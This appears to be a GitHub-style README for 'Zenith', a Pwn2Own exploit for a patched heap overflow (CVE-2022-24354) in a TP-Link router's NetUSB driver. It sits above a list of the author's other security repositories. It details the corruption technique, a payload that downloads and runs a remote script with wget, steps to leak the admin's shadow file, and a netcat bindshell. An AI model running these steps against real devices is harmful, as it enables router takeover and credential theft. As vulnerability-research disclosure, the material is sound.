• This repository has been archived on 03/Dec/2023
  • Stars
    star
    121
  • Rank 293,924 (Top 6 %)
  • Language
    Python
  • License
    MIT License
  • Created about 3 years ago
  • Updated over 2 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Zenith exploits a memory corruption vulnerability in the NetUSB driver to get remote-code execution on the TP-Link Archer C7 V5 router for Pwn2Own Austin 2021.

Zenith: Pwn2Own TP-Link AC1750 Smart Wi-Fi Router Remote Code Execution Vulnerability

Zenith is an exploit I wrote to compromise the TP-Link AC1750 Smart Wi-Fi Router which was part of the Routers / LAN category in the Pwn2Own Austin 2021 contest.

It exploits an integer overflow that results in a heap-buffer overflow in a kmalloc-128 slab cache in the NetUSB driver which is authored by the KCodes company. The driver listens on the br-lan interface on TCP port 20005 and parses attacker controlled data. It has been tested against the Archer C7(US)_V5_210519 firmware that was published on August 20 2021 (you can find the NetUSB.ko in TP-Link's firmware images).

zenith

The vulnerability was fixed by TP-Link in January 2022 and was assigned CVE-2022-24354 / ZDI-22-264.

tplink tplink2

Overview of the issue

I will probably try to do a full write-up of the vulnerability and how I was able to exploit it in an upcoming article on doar-e.github.io, stay tuned!

The bug is in the SoftwareBus_dispatchNormalEPMsgOut function, here is a snippet:

void *SoftwareBus_dispatchNormalEPMsgOut(SbusConnection_t *SbusConnection, char HostCommand, char Opcode)
{
  // ...
  switch (OpcodeMasked) {
    case 0x50:
        if (SoftwareBus_fillBuf(SbusConnection, ReceiveBuffer, 4)) {
          ReceivedSize = _bswapw(*(uint32_t*)ReceiveBuffer);
            AllocatedBuffer = _kmalloc(ReceivedSize + 17, 208); // <--- ReceivedSize is a 32-bit integer, the computation can overflow
            if (!AllocatedBuffer) {
                return kc_printf("INFO%04X: Out of memory in USBSoftwareBus", 4296);
            }
        [...]
            if (!SoftwareBus_fillBuf(SbusConnection, AllocatedBuffer + 16, ReceivedSize)) // <---- This is basically a `recv()` which leads to an overflow of the `AllocatedBuffer`

The exploit reaches this function via the following call chain:

-> tcpConnector (@0x10AAC)
  -> run_init_sbus (@0xCA78)
    -> initUsbSoftwareBus (@0xC700)
      -> ThreadHandleSbusConnection (@0xC5F4)
        -> SoftwareBus_dispatchNormalEPMsgOut (@0xADF0)

To exploit the issue, Zenith overflows an adjacent wait_queue_head_t.head.next structure that is placed by the socket stack of the Linux kernel with the address of a crafted wait_queue_entry_t under our control (Trasher class in the exploit code).

struct wait_queue_head {
	spinlock_t		lock;
	struct list_head	head;
};

struct wait_queue_entry {
	unsigned int		flags;
	void			*private;
	wait_queue_func_t	func;
	struct list_head	entry;
};

This structure has a function pointer that I use to hijack execution and redirect the flow to a fixed location, in a large kernel heap chunk where I staged the payload previously. The function invoking the function pointer is __wake_up_common as you can see below:

static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
			int nr_exclusive, int wake_flags, void *key)
{
	wait_queue_t *curr, *next;

	list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
		unsigned flags = curr->flags;

		if (curr->func(curr, mode, wake_flags, key) &&
				(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
			break;
	}
}

Here is what it looks like in gdb once q->head.next/prev has been corrupted:

(gdb) break *__wake_up_common+0x30 if ($v0 & 0xffffff00) == 0xdeadbe00

(gdb) break sock_recvmsg if msg->msg_iov[0].iov_len == 0xffffffff

(gdb) c
Continuing.
sock_recvmsg(dst=0xffffffff85173390)

Breakpoint 2, __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
3375    kernel/sched/core.c: No such file or directory.

(gdb) p *q
$1 = {lock = {{rlock = {raw_lock = {<No data fields>}}}}, task_list = {next = 0xdeadbee1,
    prev = 0xbaadc0d1}}

(gdb) bt
#0  __wake_up_common (q=0x85173480, mode=1, nr_exclusive=1, wake_flags=1, key=0xc1)
    at kernel/sched/core.c:3375
#1  0x80141ea8 in __wake_up_sync_key (q=<optimized out>, mode=<optimized out>,
    nr_exclusive=<optimized out>, key=<optimized out>) at kernel/sched/core.c:3450
#2  0x8045d2d4 in tcp_prequeue (skb=0x87eb4e40, sk=0x851e5f80) at include/net/tcp.h:964
#3  tcp_v4_rcv (skb=0x87eb4e40) at net/ipv4/tcp_ipv4.c:1736
#4  0x8043ae14 in ip_local_deliver_finish (skb=0x87eb4e40) at net/ipv4/ip_input.c:226
#5  0x8040d640 in __netif_receive_skb (skb=0x87eb4e40) at net/core/dev.c:3341
#6  0x803c50c8 in pcnet32_rx_entry (entry=<optimized out>, rxp=0xa0c04060, lp=0x87d08c00,
    dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1199
#7  pcnet32_rx (budget=16, dev=0x87d08800) at drivers/net/ethernet/amd/pcnet32.c:1212
#8  pcnet32_poll (napi=0x87d08c5c, budget=16) at drivers/net/ethernet/amd/pcnet32.c:1324
#9  0x8040dab0 in net_rx_action (h=<optimized out>) at net/core/dev.c:3944
#10 0x801244ec in __do_softirq () at kernel/softirq.c:244
#11 0x80124708 in do_softirq () at kernel/softirq.c:293
#12 do_softirq () at kernel/softirq.c:280
#13 0x80124948 in invoke_softirq () at kernel/softirq.c:337
#14 irq_exit () at kernel/softirq.c:356
#15 0x8010198c in ret_from_exception () at arch/mips/kernel/entry.S:34

All of this is possible because there is no kernel ALSR and the heap is writable / executable (no NX).

Zenith also leverages NetUSB's debug interface which is another socket listening on the port 33344. It basically sends printk string over this socket and leaks kernel-mode pointers of various allocations where we are able to place controlled data at. This is used by the Leaker class in the exploit code.

Zenith also defragments the kmalloc128 slab cache using a very basic spraying primitive to fill holes.

Finally, the payload executed is available in src/sh.remote.asm which basically executes /bin/sh -c "wget http://{local_ip}:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh".

Running the exploit

Setting the environment up

To install the dependencies, run the below commands on an Ubuntu machine 20.04:

  • $ sudo apt install binutils-mips-linux-gnu binutils python3-pip
  • $ pip3 install pycrypto

The binutils are used by the exploit to generate the payload at runtime as it needs to include the IP address of the HTTP server the exploit reaches to (cf prepare_payload).

def prepare_payload(name, ip_local):
    '''Read the payload pattern, assemble it and dump the assembled bytes.'''
    # Replace the local ip address in the payload
    r = open(name, 'r').read()
    tmp_payload = 'tmp.asm'
    with open(tmp_payload, 'w') as f:
        f.write(r.format(ip_local = ip_local))

    # Compile the payload
    os.system(f'mips-linux-gnu-as -march=mips32r2 {tmp_payload} -o sh.o')
    os.system(f'mips-linux-gnu-ld --omagic --section-start=.text={hex(addr_payload)} sh.o -o sh')

    # Dump the payload
    os.system('readelf -x .text sh > payload.txt')

    # Read the payload
    payload = read_payload('payload.txt',)

    # Clean-up the payload
    os.system(f'rm sh.o sh {tmp_payload} payload.txt')

    # Fix ip in pwn.sh.
    os.system(f'rm pwn.sh')
    r = open('pwn_base.sh', 'r').read()
    with open('pwn.sh', 'w') as f:
        f.write(r.format(ip_local = ip_local))

    return payload

Am I vulnerable?

To verify if your router is vulnerable it is recommended to run src/zenith-poc.py.

$ python3 zenith-poc.py --target 192.168.127.1

If your device is vulnerable, the lights should stay on for a few seconds after the script is done then turn off and the router should automatically reboot. Pay attention, because it can be a bit subtle to see :)

Running Zenith

Disclaimer: The exploit isn't reliable and that's it unfortunately failed to land during the contest πŸ˜…

For every attempt:

  1. Boot the device and start a stopwatch to wait for 3min. This is the time required for the device to reach a stable booted state.
  2. Run the exploit when the stopwatch hit the 3min mark.

To run the exploit, open three different shells (see pics/zenith.gif):

  1. One shell to throw the exploit.
    • Run src/zenith.py with --target <IP of router> and --local <IP of where it's thrown from>.
  2. One shell to start an HTTP server.
    • In src, run python3 -m http.server. When successful, the exploit will make an HTTP request to this server in order to download pwn.sh (that's what the --local argument is used).
  3. One shell to connect to the bindshell when the attempt is successful.
    • Right after receiving the HTTP request leaking the admin's shadow, you can try to connect to the bindshell with nc <IP of router> 31337 -v.

zenith

The exploit waits for 1:30 minute before killing itself. There are three ending conditions:

  1. It worked and reached out to the HTTP server to grab the pwn.sh file, leaked the admin's shadow and is listening on the bindshell.
  2. The router crashed and rebooted. All the sockets will time out and will spew the output; at which point you can kill the exploit. This is a failed attempt.
  3. The router didn't crash but no HTTP requests were received before the exploit terminated itself. This is a failed attempt.

Authors

More Repositories

1

rp

rp++ is a fast C++ ROP gadget finder for PE/ELF/Mach-O x86/x64/ARM/ARM64 binaries.
C++
1,804
star
2

wtf

wtf is a distributed, code-coverage guided, customizable, cross-platform snapshot-based fuzzer designed for attacking user and / or kernel-mode targets running on Microsoft Windows and Linux user-mode (experimental!).
C++
1,472
star
3

CVE-2021-31166

Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.
Python
824
star
4

CVE-2019-11708

Full exploit chain (CVE-2019-11708 & CVE-2019-9810) against Firefox on Windows 64-bit.
JavaScript
617
star
5

stuffz

Basically a script thrift shop
C
589
star
6

windbg-scripts

A bunch of JavaScript extensions for WinDbg.
JavaScript
315
star
7

CVE-2022-21971

PoC for CVE-2022-21971 "Windows Runtime Remote Code Execution Vulnerability"
Rich Text Format
306
star
8

clairvoyance

Visualize the virtual address space of a Windows process on a Hilbert curve.
C++
294
star
9

z3-playground

A repository to store Z3-python scripts you can use as examples, reminders, whatever.
Python
273
star
10

CVE-2021-24086

Proof of concept for CVE-2021-24086, a NULL dereference in tcpip.sys triggered remotely.
Python
232
star
11

CVE-2019-9810

Exploit for CVE-2019-9810 Firefox on Windows 64-bit.
JavaScript
228
star
12

CVE-2021-28476

PoC for CVE-2021-28476 a guest-to-host "Hyper-V Remote Code Execution Vulnerability" in vmswitch.sys.
C
217
star
13

udmp-parser

A Cross-Platform C++ parser library for Windows user minidumps with Python 3 bindings.
C++
193
star
14

kdmp-parser

A Windows kernel dump C++ parser library with Python 3 bindings.
C++
193
star
15

blazefox

Blazefox exploits for Windows 10 RS5 64-bit.
C++
148
star
16

symbolizer

A fast execution trace symbolizer for Windows.
C++
130
star
17

sic

Enumerate user mode shared memory mappings on Windows.
C
114
star
18

ollydbg2-python

Scripting OllyDBG2 using Python is now possible!
C++
110
star
19

snapshot

WinDbg extension written in Rust to dump the CPU / memory state of a running VM
Rust
110
star
20

rp-bf.rs

rp-bf: A library to bruteforce ROP gadgets by emulating a Windows user-mode crash-dump
Rust
110
star
21

fuzzing-ida75

Repository of the findings found by wtf when fuzzing IDA75.
86
star
22

paracosme

Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Python
86
star
23

symbolizer-rs

A fast execution trace symbolizer for Windows that runs on all major platforms and doesn't depend on any Microsoft libraries.
Rust
84
star
24

CVE-2022-28281

PoC for CVE-2022-28281 a Mozilla Firefox Out of bounds write.
HTML
74
star
25

lockmem

This utility allows you to lock every available memory regions of an arbitrary process into its working set.
C++
66
star
26

pywinhv

Python bindings for the Microsoft Hypervisor Platform APIs.
Python
66
star
27

CVE-2022-21974

PoC for CVE-2022-21974 "Roaming Security Rights Management Services Remote Code Execution Vulnerability"
Rich Text Format
58
star
28

pwn2own2023-miami

Writeups, PoCs of the bugs I found while preparing for the Pwn2Own Miami 2023 contest targeting UaGateway from the OPC UA Server category.
C++
57
star
29

CVE-2021-32537

PoC for CVE-2021-32537: an out-of-bounds memory access that leads to pool corruption in the Windows kernel.
C++
57
star
30

j0llyDmpr

j0llydmper is a windows service that allows you to dump furtively and automaticaly some contents of USB disks just plugged in your computer. In order to dump potentialy interesting files, you can use a rule on the file name or/and on the file size.
C
40
star
31

udmp-parser-rs

A Rust crate for parsing Windows user minidumps.
Rust
40
star
32

inject

Yet another Windows DLL injector.
C++
38
star
33

kdmp-parser-rs

A KISS Rust crate to parse Windows kernel crash-dumps created by Windows & its debugger.
Rust
32
star
34

KEPaboo

Neutralize KEPServerEX anti-debugging techniques
C++
31
star
35

longue-vue

Longue vue is an exploit chain that can compromise over the internet NETGEAR DGND3700v2 devices.
JavaScript
25
star
36

TV-Show-Downloader

Maybe you're a guy a bit like me -- who watch a lot of series -- so I guess you already know that downloading the latest episodes of all your favorites TV Shows is absolutely PAINFUL. I mean it, really. Thus, TVShow Downloader is a set of basic scripts (crontab + python script + bash script) designed to simplify my whole existence on this earth: I haven't to think about downloading my serie anymore \o/.
Python
21
star
37

teesee-calc

Visualize and compare total compensation (TC) packages over time.
HTML
11
star
38

dbgeng-rs

Rust binding for the dbgeng COM interfaces.
Rust
11
star
39

articles

Mirror of the different PDF articles I wrote
10
star
40

0vercl0k

5
star
41

gflags-rs

Utility that lets you interact with Microsoft Windows Global Flags and particularly PageHeap, made to learn Rust
Rust
4
star
42

addr-symbolizer-rs

A KISS Rust crate to symbolize function addresses using Windows PDB files
Rust
4
star
43

rp2s

3
star
44

result

Simple, tiny and readable implementation of a Rust like std::result type for C++.
1
star